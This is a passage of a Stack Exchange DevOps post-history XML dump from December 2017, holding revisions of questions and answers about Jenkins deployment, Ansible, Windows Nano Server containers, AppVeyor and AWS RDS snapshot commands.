subject][2]][2]&#xD;&#xA;&#xD;&#xA;That's it!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/drZCv.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/66cLI.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8914" PostHistoryTypeId="2" PostId="2864" RevisionGUID="d9d1d373-a097-495a-962c-918d210b1eef" CreationDate="2017-12-11T08:17:40.040" UserId="5651" Text="I've got your point. Ansible is not the right choice for hot deployment. To get rid of manual work and deploy the war files continuously to a server or where ever you want. Ansible is a configuration management tool. For this, you need an Automation deployment tool which Jenkins. You need Jenkins in order to automate this. Create a Job, install a maven plugin within jenkins and select the maven file before deploying the Code.&#xD;&#xA;&#xD;&#xA;For Tomcat, You need to define about the tomcat instance within Jenkins and write the script in such a way the it will automatically deploy the war file everytime you commit the code.&#xD;&#xA;&#xD;&#xA;Best Practice,&#xD;&#xA;You better get a GIT repository and push your code there. Connect GitHub with Jenkins. The moment you will commit the code to GitHub it will automatically deploy the changes within tomcat through Jenkins and will Run the code." ContentLicense="CC BY-SA 3.0" />
  <row Id="8915" PostHistoryTypeId="5" PostId="2864" RevisionGUID="aa39b587-4015-4c95-a3d6-976f162e1c1e" CreationDate="2017-12-11T08:26:08.400" UserId="5651" Comment="deleted 2 characters in body" Text="I've got your point. Ansible is not the right choice for hot deployment to get rid of manual work and deploy the war files continuously to a server or where ever you want. Ansible is a configuration management tool. For this, you need an Automation deployment tool which is Jenkins. You need Jenkins in order to automate this. Create a Job, install a maven plugin within Jenkins and select the maven file before deploying the Code.&#xD;&#xA;&#xD;&#xA;For Tomcat, You need to define about the tomcat instance within Jenkins and write the script in such a way it will automatically deploy the war file everytime you commit the code.&#xD;&#xA;&#xD;&#xA;Best Practice,&#xD;&#xA;You better get a GIT repository and push your code there. Connect GitHub with Jenkins. The moment you will commit the code to GitHub it will automatically deploy the changes within tomcat through Jenkins and will Run the code." ContentLicense="CC BY-SA 3.0" />
  <row Id="8916" PostHistoryTypeId="50" PostId="2275" RevisionGUID="010356ec-0903-4317-96e1-d2dfdedc0d17" CreationDate="2017-12-11T09:35:40.147" UserId="-1" />
  <row Id="8917" PostHistoryTypeId="2" PostId="2865" RevisionGUID="2a697290-bf23-4225-a58f-dda6dcf79596" CreationDate="2017-12-11T09:47:44.323" UserId="5624" Text="I am trying to port one of our Tomcat based Windows application to Windows Nano Server Container. The installation process includes two *Windows Service* installations - an ActiveMQ service and another Tomcat Service. This is achieved using two batch files provided with the product. In addition to installing the service, they also pass several arguments pertaining to JVM. Now the issue I am facing is I am not able to get these services installed on a Nano Server. The same Dockerfile works perfect and installs the product on Windows Server Core Container. &#xD;&#xA;&#xD;&#xA;I am at a loss on how to troubleshoot this issue. Are there any limitations on Nano Server Container when it comes to Windows Services?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8918" PostHistoryTypeId="1" PostId="2865" RevisionGUID="2a697290-bf23-4225-a58f-dda6dcf79596" CreationDate="2017-12-11T09:47:44.323" UserId="5624" Text="Windows Service installation on Docker Container" ContentLicense="CC BY-SA 3.0" />
  <row Id="8919" PostHistoryTypeId="3" PostId="2865" RevisionGUID="2a697290-bf23-4225-a58f-dda6dcf79596" CreationDate="2017-12-11T09:47:44.323" UserId="5624" Text="&lt;docker&gt;&lt;containers&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostHistoryTypeId="5" PostId="2592" RevisionGUID="4fd3b8e2-5155-444e-9b60-192d144cdad5" CreationDate="2017-12-11T12:05:51.273" UserId="5265" Comment="deleted 12 characters in body" Text="As pointed out [here](https://devops.stackexchange.com/questions/98/how-to-test-provisioning-and-configuration-in-ansible-setup), testkitchen is in principable usable with ansible if the right plugins are installed.&#xD;&#xA;&#xD;&#xA;Now I've done all the installing and am at the point, where I wonder, what I missunderstood:&#xD;&#xA;&#xD;&#xA;As a driver I use vagrant and I thought it might be a good idea to use the vagrant-host as the machine which does the ansible-provisoning since the ssh-access is obviously cared for by vagrant and python is installed on my boxes per default. Now, when I look at my logs, I see:&#xD;&#xA;&#xD;&#xA;&gt; Setting up ansible (2.4.1.0-1ppa~xenial) ...&#xD;&#xA;&#xD;&#xA;How can I prevent the installing of ansible? How can I tell testkitchen to use localhost as the machine which provisions the vagrant vms?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8921" PostHistoryTypeId="2" PostId="2866" RevisionGUID="57bcfc3c-6524-4bde-9abb-262bfc44e1b4" CreationDate="2017-12-11T14:20:04.343" UserId="5672" Text="The guidance that we've always followed in my various scrum teams is developers should get what they've got into testing as soon as possible. It may mean a little rework later on down the line if there are issues found in code reviews or developers haven't completely finished coding, but the earlier developers get feedback on what's been done, the earlier they can fix any issues, and take account of this feedback in any further coding. &#xD;&#xA;&#xD;&#xA;It isn't always practicable eg if you don't have deployment tools that are flexible in which branches they deploy from, but when it is practicable, it's what scrum and agile are all about - get feedback and get it early. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostHistoryTypeId="5" PostId="2866" RevisionGUID="5b03f86f-dc1a-49dd-8099-0ed6baeb7a37" CreationDate="2017-12-11T14:25:23.100" UserId="5672" Comment="added 250 characters in body" Text="The guidance that we've always followed in my various scrum teams is developers should get what they've got into testing as soon as possible. It may mean a little rework later on down the line if there are issues found in code reviews or developers haven't completely finished coding, but the earlier developers get feedback on what's been done, the earlier they can fix any issues, and take account of this feedback in any further coding. &#xD;&#xA;&#xD;&#xA;You should make testers aware when they aren't getting completely finished output, but if they've been encouraged to think about the benefits of preventing bugs as well as just finding them, they should hopefully been keen to adopt this process. &#xD;&#xA;&#xD;&#xA;It isn't always practicable eg if you don't have deployment tools that are flexible in which branches they deploy from, but when it is practicable, it's what scrum and agile are all about - get feedback and get it early. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostHistoryTypeId="2" PostId="2867" RevisionGUID="6c46fdab-d57f-4c8b-8689-fa1904a3e7e7" CreationDate="2017-12-11T17:04:56.513" UserId="5675" Text="so far I have managed to get a simple deployment procedure running via SFTP. I really need to make two more steps:&#xD;&#xA;&#xD;&#xA;1) Erase everything inside the folder that I am deploying to before I deploy a fresh build into it or (even better not sure this is possible) see what has changed and upload only the required and erase the non required. &#xD;&#xA;2) Restart the app after deployment is done.&#xD;&#xA;&#xD;&#xA;What could be the best solution for this with Appveyor. So far I see the easiest way is to posibly include a power shell script that will connect via ssh and clear out the folder, not sure how that would work with restarting the app though. Would be really great to hear some more experienced users on this solution. Thank you." ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostHistoryTypeId="1" PostId="2867" RevisionGUID="6c46fdab-d57f-4c8b-8689-fa1904a3e7e7" CreationDate="2017-12-11T17:04:56.513" UserId="5675" Text="Best practices on how to erase everything in destination deployment folder and restart the app after deployment using Appveyor" ContentLicense="CC BY-SA 3.0" />
  <row Id="8925" PostHistoryTypeId="3" PostId="2867" RevisionGUID="6c46fdab-d57f-4c8b-8689-fa1904a3e7e7" CreationDate="2017-12-11T17:04:56.513" UserId="5675" Text="&lt;deployment&gt;&lt;appveyor&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8929" PostHistoryTypeId="2" PostId="2869" RevisionGUID="ae236b22-4e8e-41ae-a6bc-0324cf6a4691" CreationDate="2017-12-11T18:50:23.730" UserId="445" Text="It looks like your problem is two fold:&#xD;&#xA;&#xD;&#xA;1. You want to monitor the status of critical applications provisioned on virtual machines&#xD;&#xA;&#xD;&#xA;2. You want to be able to install these checks rather intuitively.&#xD;&#xA;&#xD;&#xA;I'll answer these in the reverse order.&#xD;&#xA;&#xD;&#xA;The easiest answer for #2 is that you can use configuration management like Chef, Ansible, or Puppet to provision machines. That way you could write a cookbook that as a software package is detected on the system a simple agent based check is dropped in as well. Codifying these things makes them much more manageable in the long term.&#xD;&#xA;&#xD;&#xA;In terms of #1 you're probably looking for an agent based monitoring tool. Some examples of this would be Prometheus or Sensu but there's an endless list of them out there. These allow you to describe checks on the server and the master just collects whatever information is given to it." ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostHistoryTypeId="2" PostId="2870" RevisionGUID="db732a52-d657-4b03-9765-52d05c0c2111" CreationDate="2017-12-11T19:15:29.830" UserId="445" Text="I really hate this kind of discussion, as if there's a mold that fits a good CTO or CIO.&#xD;&#xA;&#xD;&#xA;Let's examine, rather, the qualities of a good executive rather:&#xD;&#xA;&#xD;&#xA;1. Practices enabling and empowering engineers and local team leadership&#xD;&#xA;2. Deflects bureaucracy from external sources&#xD;&#xA;3. Helps remove organizational blockers to change and improvement&#xD;&#xA;4. Does not mandate architecture from the top down&#xD;&#xA;5. Acts as an evangelist for software first solutions&#xD;&#xA;6. Promotes automation and solid foundations for solving problems rather than implementing patches&#xD;&#xA;7. Knows how to avoid unrealistic deadlines and demands quality, but not perfection, over quantity of features&#xD;&#xA;8. Uses data to solve problems and constantly evaluates the integrity of the data gathering&#xD;&#xA;9. Values iterative development rather than long, cumbersome planning processes&#xD;&#xA;10. Values education and internal training &amp; advancement over outsourcing&#xD;&#xA;&#xD;&#xA;I'll add some more if I can think of them. We need to stop assuming a CTO or CIO is a list of resume qualifiers and start hiring people who really understand the process of building, maintaing, and delivering software from sun rise to sun set." ContentLicense="CC BY-SA 3.0" />
  <row Id="8931" PostHistoryTypeId="5" PostId="2870" RevisionGUID="c83f18f0-0bc9-41ba-be3e-35755bb1dc2b" CreationDate="2017-12-11T19:21:17.223" UserId="445" Comment="Extra word" Text="I really hate this kind of discussion, as if there's a mold that fits a good CTO or CIO.&#xD;&#xA;&#xD;&#xA;Let's examine the qualities of a good executive rather:&#xD;&#xA;&#xD;&#xA;1. Practices enabling and empowering engineers and local team leadership&#xD;&#xA;2. Deflects bureaucracy from external sources&#xD;&#xA;3. Helps remove organizational blockers to change and improvement&#xD;&#xA;4. Does not mandate architecture from the top down&#xD;&#xA;5. Acts as an evangelist for software first solutions&#xD;&#xA;6. Promotes automation and solid foundations for solving problems rather than implementing patches&#xD;&#xA;7. Knows how to avoid unrealistic deadlines and demands quality, but not perfection, over quantity of features&#xD;&#xA;8. Uses data to solve problems and constantly evaluates the integrity of the data gathering&#xD;&#xA;9. Values iterative development rather than long, cumbersome planning processes&#xD;&#xA;10. Values education and internal training &amp; advancement over outsourcing&#xD;&#xA;&#xD;&#xA;I'll add some more if I can think of them. We need to stop assuming a CTO or CIO is a list of resume qualifiers and start hiring people who really understand the process of building, maintaining, and delivering software from sun rise to sun set." ContentLicense="CC BY-SA 3.0" />
  <row Id="8932" PostHistoryTypeId="5" PostId="2592" RevisionGUID="4a039075-b5dd-4ecc-b297-0e2a8d3430b7" CreationDate="2017-12-11T19:29:09.587" UserId="5265" Comment="added 545 characters in body" Text="As pointed out [here](https://devops.stackexchange.com/questions/98/how-to-test-provisioning-and-configuration-in-ansible-setup), testkitchen is in principable usable with ansible if the right plugins are installed.&#xD;&#xA;&#xD;&#xA;Now I've done all the installing and am at the point, where I wonder, what I missunderstood:&#xD;&#xA;&#xD;&#xA;As a driver I use vagrant and I thought it might be a good idea to use the vagrant-host as the machine which does the ansible-provisoning since the ssh-access is obviously cared for by vagrant and python is installed on my boxes per default. Now, when I look at my logs, I see:&#xD;&#xA;&#xD;&#xA;&gt; Setting up ansible (2.4.1.0-1ppa~xenial) ...&#xD;&#xA;&#xD;&#xA;How can I prevent the installing of ansible? How can I tell testkitchen to use localhost as the machine which provisions the vagrant vms?&#xD;&#xA;&#xD;&#xA;To be more clear, I am trying to find a configuration for testkitchen ([as seen e.g. here under &quot;Example .kitchen.yml file&quot;](https://github.com/neillturner/kitchen-ansible)) that can accomplish this.&#xD;&#xA;&#xD;&#xA;So far I got this configuration in my .kitchen.yml:&#xD;&#xA;&#xD;&#xA;    [...]&#xD;&#xA;    provisioner:&#xD;&#xA;        name: ansible_playbook&#xD;&#xA;        hosts: localhost&#xD;&#xA;        require_chef_for_busser: false&#xD;&#xA;        require_ruby_for_busser: false&#xD;&#xA;        playbook: server.yml&#xD;&#xA;    [...]&#xD;&#xA;&#xD;&#xA;This still installs ansible on the vagrant boxes, which I don't want.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8933" PostHistoryTypeId="10" PostId="2840" RevisionGUID="5cfccfcd-aad1-44d1-8a7a-2b085440966b" CreationDate="2017-12-11T20:35:36.477" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:4175,&quot;DisplayName&quot;:&quot;AnoE&quot;},{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;},{&quot;Id&quot;:736,&quot;DisplayName&quot;:&quot;Alex&quot;}]}" />
  <row Id="8934" PostHistoryTypeId="5" PostId="2866" RevisionGUID="e18e4b31-2d84-4881-8891-ee0d18061a41" CreationDate="2017-12-11T20:41:38.663" UserId="60" Comment="Minor grammatical improvements" Text="The guidance that we've always followed in my various scrum teams is developers should get what they've got into testing as soon as possible. It may mean a little rework later on down the line if there are issues found in code reviews or developers haven't completely finished coding, but the earlier developers get feedback on what's been done, the earlier they can fix any issues, and take account of this feedback in any further coding. &#xD;&#xA;&#xD;&#xA;You should make testers aware when they aren't getting completely finished output, but if they've been encouraged to think about the benefits of preventing bugs as well as just finding them, they should hopefully be keen to adopt this process. &#xD;&#xA;&#xD;&#xA;It isn't always practicable - for example, if you don't have deployment tools that are flexible in which branches they deploy from, but when it is practicable, it's what Scrum and agile are all about - get feedback and get it early. " ContentLicense="CC BY-SA 3.0" />
  <row Id="8935" PostHistoryTypeId="24" PostId="2866" RevisionGUID="e18e4b31-2d84-4881-8891-ee0d18061a41" CreationDate="2017-12-11T20:41:38.663" Comment="Proposed by 60 approved by 40, 47 edit id of 565" ContentLicense="CC BY-SA 3.0" />
  <row Id="8936" PostHistoryTypeId="5" PostId="2860" RevisionGUID="c853392f-1ca0-45e4-b288-dd5e1f4f7098" CreationDate="2017-12-11T20:41:49.347" UserId="60" Comment="Removed thanks, fixed typos" Text="First question here (i'm usually on StackOverflow)...not sure if the right place (if not, please vote to move where it belongs).&#xD;&#xA;&#xD;&#xA;If we have a dev process using traditional [GitFlow](https://datasift.github.io/gitflow/IntroducingGitFlow.html) approach, what criteria should be met before a Pull Request (PR) is opened? Specifically, if the work requires manual testing/QA signoff before being _merged_ into `master`.&#xD;&#xA;&#xD;&#xA;There are two sides of the fence here:&#xD;&#xA;&#xD;&#xA;1. **PR's should _not_ be opened until the work is &quot;ready&quot;**. (ready = ready for production, pending any code reviews, which should just be based on code quality/standards). *Pros*: reviewer doesn't need to check if the work is 'ready'. It's defined by the process. *Cons*: longer time (e.g waiting for test signoff) before the code is reviewed.&#xD;&#xA;2. **Open the PR, even if it's not ready**. Basically, allow the QA testing &amp; code reviews to operate in parallel. *Pros*: code review and testing can operate in parallel. *Cons*: if issues are found in testing, the code needs to change, even though it has already been reviewed.&#xD;&#xA;&#xD;&#xA;Thoughts on either 2 approaches, or is there an option 3? What standards/advice is there in this process?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8937" PostHistoryTypeId="24" PostId="2860" RevisionGUID="c853392f-1ca0-45e4-b288-dd5e1f4f7098" CreationDate="2017-12-11T20:41:49.347" Comment="Proposed by 60 approved by 40, 47 edit id of 564" ContentLicense="CC BY-SA 3.0" />
  <row Id="8938" PostHistoryTypeId="5" PostId="2867" RevisionGUID="f9c1e10a-ec16-465f-9b2e-917a5331011f" CreationDate="2017-12-11T20:42:09.353" UserId="60" Comment="Improved list formatting, fixed typos" Text="So far I have managed to get a simple deployment procedure running via SFTP. I really need to make two more steps:&#xD;&#xA;&#xD;&#xA;1. Erase everything inside the folder that I am deploying to before I deploy a fresh build into it or (even better not sure this is possible) see what has changed and upload only the required and erase the not required. &#xD;&#xA;2. Restart the app after deployment is done.&#xD;&#xA;&#xD;&#xA;What could be the best solution for this with Appveyor? So far I see the easiest way is to possibly include a power shell script that will connect via ssh and clear out the folder, not sure how that would work with restarting the app though. Would be really great to hear some more experienced users about this solution." ContentLicense="CC BY-SA 3.0" />
  <row Id="8939" PostHistoryTypeId="24" PostId="2867" RevisionGUID="f9c1e10a-ec16-465f-9b2e-917a5331011f" CreationDate="2017-12-11T20:42:09.353" Comment="Proposed by 60 approved by 40, 47 edit id of 563" ContentLicense="CC BY-SA 3.0" />
  <row Id="8941" PostHistoryTypeId="2" PostId="2871" RevisionGUID="1224e733-8fec-4535-b482-7c89d607afb9" CreationDate="2017-12-11T22:59:14.237" UserId="5678" Text="I have automated the RDS snapshot copy across the region, but the Snapshot which is encrypted gets fail to copy.&#xD;&#xA;I have figured a way to copy an encrypted snapshot using &#xD;&#xA;&#xD;&#xA;    $  aws rds copy-db-snapshot   --source-db-snapshot-identifier arn:aws:rds:eu-west-1:XXXX:snapshot:XXX-2017-01-31-04-30      --target-db-snapshot-identifier mydbsnapshotcopy   --kms-key-id XXX --region eu-central-1 --source-region eu-west-1&#xD;&#xA;&#xD;&#xA;I want to filter/test the snapshots if they are encrypted or not, if they are encrypted I will perform the above-defined operation.&#xD;&#xA;I tried this which is not working. &#xD;&#xA;&#xD;&#xA;    $ aws rds describe-db-snapshots  --filter &quot;Name=encrypted,Values=true&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How do I list/filter all the encrypted snapshots and move it to a file?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8942" PostHistoryTypeId="1" PostId="2871" RevisionGUID="1224e733-8fec-4535-b482-7c89d607afb9" CreationDate="2017-12-11T22:59:14.237" UserId="5678" Text="List encrypted RDS snapshots using CLI" ContentLicense="CC BY-SA 3.0" />
  <row Id="8943" PostHistoryTypeId="3" PostId="2871" RevisionGUID="1224e733-8fec-4535-b482-7c89d607afb9" CreationDate="2017-12-11T22:59:14.237" UserId="5678" Text="&lt;amazon-web-services&gt;&lt;aws-cli&gt;&lt;amazon-rds&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8944" PostHistoryTypeId="2" PostId="2872" RevisionGUID="c05731a2-53d8-4cf7-9f2a-0f55a802d712" CreationDate="2017-12-11T23:24:52.943" UserId="5679" Text="There are two options when publishing artifacts: Server and File Share. &#xD;&#xA;&#xD;&#xA;If you publish to the server, they are stored in the TFS database. You can't configure the location, however you **can** configure retention policies to ensure that old builds aren't kept around forever.&#xD;&#xA;&#xD;&#xA;If you publish to a file share, they're stored on, well, a file share." ContentLicense="CC BY-SA 3.0" />
  <row Id="8945" PostHistoryTypeId="2" PostId="2873" RevisionGUID="84f2ceee-4c1c-4ff4-8232-ea27c4411235" CreationDate="2017-12-11T23:27:20.327" UserId="5679" Text="Visual Studio Team Services has a [YAML Build][1] feature in public preview that allows you to store your build definitions as source controlled files.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/vsts/build-release/actions/build-yaml" ContentLicense="CC BY-SA 3.0" />
  <row Id="8946" PostHistoryTypeId="50" PostId="2534" RevisionGUID="932813c4-2e40-4dff-bb60-e2aaa7e826b3" CreationDate="2017-12-11T23:48:08.667" UserId="-1" />
  <row Id="8947" PostHistoryTypeId="5" PostId="2403" RevisionGUID="4c6df9cb-5af0-4baf-acda-ecec32d7d82a" CreationDate="2017-12-12T01:13:25.097" UserId="60" Comment="added 106 characters in body" Text="Docker Hub is a cloud-based registry service developed by Docker Inc in order to distribute Docker images." ContentLicense="CC BY-SA 3.0" />
  <row Id="8948" PostHistoryTypeId="24" PostId="2403" RevisionGUID="4c6df9cb-5af0-4baf-acda-ecec32d7d82a" CreationDate="2017-12-12T01:13:25.097" Comment="Proposed by 60 approved by 40, 47 edit id of 568" ContentLicense="CC BY-SA 3.0" />
  <row Id="8949" PostHistoryTypeId="5" PostId="2402" RevisionGUID="f1c2b77b-5fa2-4d10-b6e5-32a19f3a81bb" CreationDate="2017-12-12T01:13:41.697" UserId="60" Comment="added 161 characters in body" Text="[Docker Hub][1] is a cloud-based registry service developed by Docker Inc in order to distribute [tag:docker] images.&#xD;&#xA;&#xD;&#xA;  [1]: https://registry.hub.docker.com&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8950" PostHistoryTypeId="24" PostId="2402" RevisionGUID="f1c2b77b-5fa2-4d10-b6e5-32a19f3a81bb" CreationDate="2017-12-12T01:13:41.697" Comment="Proposed by 60 approved by 40, 47 edit id of 567" ContentLicense="CC BY-SA 3.0" />
  <row Id="8951" PostHistoryTypeId="5" PostId="2859" RevisionGUID="3a7a3930-3534-4a1b-b5c4-579619b50927" CreationDate="2017-12-12T05:35:44.540" UserId="60" Comment="Improved grammar" Text="I would like to send an email at the end of my build to inform success or failure. I'm using the email ext-plugin for Jenkins. I want the version number of the build to be the subject of the email.&#xD;&#xA;&#xD;&#xA;The problem is that the version is something that changes in each build, so I need to somehow edit an environmental variable to hold the version number each time (I have a script that saves it into a file). This is the default configuration: &#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;I would like to have, for example, set the version number into a variable using windows batch script, like this:&#xD;&#xA;&#xD;&#xA;    rem # Loading version File number&#xD;&#xA;    set MY_BUILD_VERSION=&lt;myVersionFile.txt&#xD;&#xA;    rem # Loading content&#xD;&#xA;    set MY_BUILD_CONTENT=&lt;myContentFile.txt&#xD;&#xA;&#xD;&#xA;And using it in the email plugin, like this:&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;&#xD;&#xA;The problem is that the environmental variables aren't recognized outside the .bat file they are being run from, although I'm using the envInject plugin, the documentation says that what's run from a script won't be recognized outside of it.&#xD;&#xA;&#xD;&#xA;Is there any way to load data into the email plugin from a file, or any other dynamic way to load my version number dynamically?&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/lIPCv.png&#xD;&#xA;  [2]: https://i.stack.imgur.com/Jlj9Q.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8952" PostHistoryTypeId="24" PostId="2859" RevisionGUID="3a7a3930-3534-4a1b-b5c4-579619b50927" CreationDate="2017-12-12T05:35:44.540" Comment="Proposed by 60 approved by 47, 5431 edit id of 566" ContentLicense="CC BY-SA 3.0" />
  <row Id="8953" PostHistoryTypeId="2" PostId="2874" RevisionGUID="874df250-a773-4990-9c9c-210525e18a73" CreationDate="2017-12-12T06:18:46.363" UserId="4469" Text="I have installed Jenkins and docker in same machine Ubuntu.&#xD;&#xA;&#xD;&#xA; - Ubuntu 17.10 &#xD;&#xA; - Jenkins ver. 2.73.3&#xD;&#xA; - Docker version 17.09.0-ce.&#xD;&#xA;&#xD;&#xA;I am trying to set up jenkin   docker containers as slaves for running my automation test suite. &#xD;&#xA;&#xD;&#xA;I was able to correctly, setup the docker plugin in Jenkins for spinning up docker containers and added a docker template with a image that i created for setting up docker enviroment.&#xD;&#xA;&#xD;&#xA;The image has been built on docker hosted in Ubuntu. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Problem is now when i run a job from Jenkins. It gives a error message&#xD;&#xA;(pending—Jenkins doesn’t have label docker-slave)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [Jenkins pending image][1]&#xD;&#xA;&#xD;&#xA;When I check the Jenkins logs in Ubuntu machine I see the following error message&#xD;&#xA;&#xD;&#xA;    com.github.dockerjava.api.exception.NotFoundException: {&quot;message&quot;:&quot;pull access &#xD;&#xA;    denied, &quot;message&quot;:may require 'docker login'&quot;}&#xD;&#xA;&#xD;&#xA;In the ubuntu machine, i have already given done docker login. &#xD;&#xA;&#xD;&#xA;The image that i am trying to build containers from is locally on ubuntu, not pushed to any repository, so why is trying to pull the image. &#xD;&#xA;&#xD;&#xA;Also, what is the permission issue that i need to resolve. When build a job, from jenkins, its the jenkins user building the container. Do I need to add something else there. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CyqjQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8954" PostHistoryTypeId="1" PostId="2874" RevisionGUID="874df250-a773-4990-9c9c-210525e18a73" CreationDate="2017-12-12T06:18:46.363" UserId="4469" Text="docker as slave for jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="8955" PostHistoryTypeId="3" PostId="2874" RevisionGUID="874df250-a773-4990-9c9c-210525e18a73" CreationDate="2017-12-12T06:18:46.363" UserId="4469" Text="&lt;docker&gt;&lt;jenkins&gt;&lt;jenkins2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8957" PostHistoryTypeId="2" PostId="2875" RevisionGUID="6174cdfd-2e47-4955-887c-1c9013aeb341" CreationDate="2017-12-12T06:52:52.280" UserId="5668" Text="Sorry.. the previous post was incomplete as I hit enter. Though you have solved the issue, I'm pointing out how you can capture env variables into the batch file.&#xD;&#xA;&#xD;&#xA;Use the same method to read the contents of the file into a variable:&#xD;&#xA;&#xD;&#xA;`set /p VERSION_NUM=&lt;versionNumber.txt`&#xD;&#xA;&#xD;&#xA;and when calling the batch file:&#xD;&#xA;&#xD;&#xA;`call catchmyvar.bat %VERSION_NUM%`&#xD;&#xA;&#xD;&#xA;and in the batch file 'catchmyvar.bat`, set the parameter to another variable that's local to your batch file:&#xD;&#xA;&#xD;&#xA;`SET VER_NUM=%1`&#xD;&#xA;&#xD;&#xA;This should ensure you can capture the env variables set outside the batch file into the current context" ContentLicense="CC BY-SA 3.0" />
  <row Id="8963" PostHistoryTypeId="5" PostId="2874" RevisionGUID="84e09f4f-3afe-46ed-ace8-bfaebee3ba0b" CreationDate="2017-12-12T09:59:24.830" UserId="13" Comment="added 1 character in body" Text="I have installed Jenkins and docker in same machine Ubuntu.&#xD;&#xA;&#xD;&#xA; - Ubuntu 17.10 &#xD;&#xA; - Jenkins ver. 2.73.3&#xD;&#xA; - Docker version 17.09.0-ce.&#xD;&#xA;&#xD;&#xA;I am trying to set up jenkin   docker containers as slaves for running my automation test suite. &#xD;&#xA;&#xD;&#xA;I was able to correctly, setup the docker plugin in Jenkins for spinning up docker containers and added a docker template with a image that i created for setting up docker enviroment.&#xD;&#xA;&#xD;&#xA;The image has been built on docker hosted in Ubuntu. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Problem is now when i run a job from Jenkins. It gives a error message&#xD;&#xA;(pending—Jenkins doesn’t have label docker-slave)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  ![Jenkins pending image][1]&#xD;&#xA;&#xD;&#xA;When I check the Jenkins logs in Ubuntu machine I see the following error message&#xD;&#xA;&#xD;&#xA;    com.github.dockerjava.api.exception.NotFoundException: {&quot;message&quot;:&quot;pull access &#xD;&#xA;    denied, &quot;message&quot;:may require 'docker login'&quot;}&#xD;&#xA;&#xD;&#xA;In the ubuntu machine, i have already given done docker login. &#xD;&#xA;&#xD;&#xA;The image that i am trying to build containers from is locally on ubuntu, not pushed to any repository, so why is trying to pull the image. &#xD;&#xA;&#xD;&#xA;Also, what is the permission issue that i need to resolve. When build a job, from jenkins, its the jenkins user building the container. Do I need to add something else there. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/CyqjQ.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8965" PostHistoryTypeId="5" PostId="2865" RevisionGUID="d6861d20-6972-49bb-b0ee-fa4abe15d4fd" CreationDate="2017-12-12T11:17:23.883" UserId="5624" Comment="added more information" Text="I am trying to port one of our Tomcat based Windows application to Windows Nano Server Container. The installation process includes two *Windows Service* installations - an ActiveMQ service and another Tomcat Service. This is achieved using two batch files provided with the product. In addition to installing the service, they also pass several arguments pertaining to JVM. Now the issue I am facing is I am not able to get these services installed on a Nano Server. The same Dockerfile works perfect and installs the product on Windows Server Core Container. &#xD;&#xA;&#xD;&#xA;I am at a loss on how to troubleshoot this issue. Are there any limitations on Nano Server Container when it comes to Windows Services?&#xD;&#xA;&#xD;&#xA;**Update**: I discovered that the services which get installed through batch files are dependent on two system components - Ancillary Function Driver for Winsock (Service name: afd) and TCP/IP Protocol Driver (Service Name: tcpip). I see that they are absent in a Nano Server Container but are present in Windows Server Core container. Could that be a reason? If yes, is there any way to get those services running on Nano Server?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8966" PostHistoryTypeId="2" PostId="2877" RevisionGUID="12b7e3a6-fe43-4ee1-a82d-e98b684165d2" CreationDate="2017-12-12T11:29:04.327" UserId="887" Text="From my experience (where I currently work and another company where a friend works at) the DevOps team's report to the CIO.&#xD;&#xA;&#xD;&#xA;Also to note that our DevOps team works a lot with, mostly **alongside** the CTO on a &quot;day to day&quot; basis compared to the CIO.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8967" PostHistoryTypeId="2" PostId="2878" RevisionGUID="57f91673-64bf-4fd0-8ad8-00277c4fbaf7" CreationDate="2017-12-12T13:02:57.863" UserId="5583" Text="It all very much depends on the type of organisation.&#xD;&#xA;We don't have a CDO or CIO, so I report to the COO who manages IT as well. &#xD;&#xA;&#xD;&#xA;The important thing is to bring digital, IT and DevOps together." ContentLicense="CC BY-SA 3.0" />
  <row Id="8968" PostHistoryTypeId="5" PostId="2856" RevisionGUID="8acb7070-1939-4024-8183-a23b33c6d198" CreationDate="2017-12-12T13:04:44.943" UserId="210" Comment="added 91 characters in body" Text="When a question is related to Development, Testing, Acceptance and Production environments." ContentLicense="CC BY-SA 3.0" />
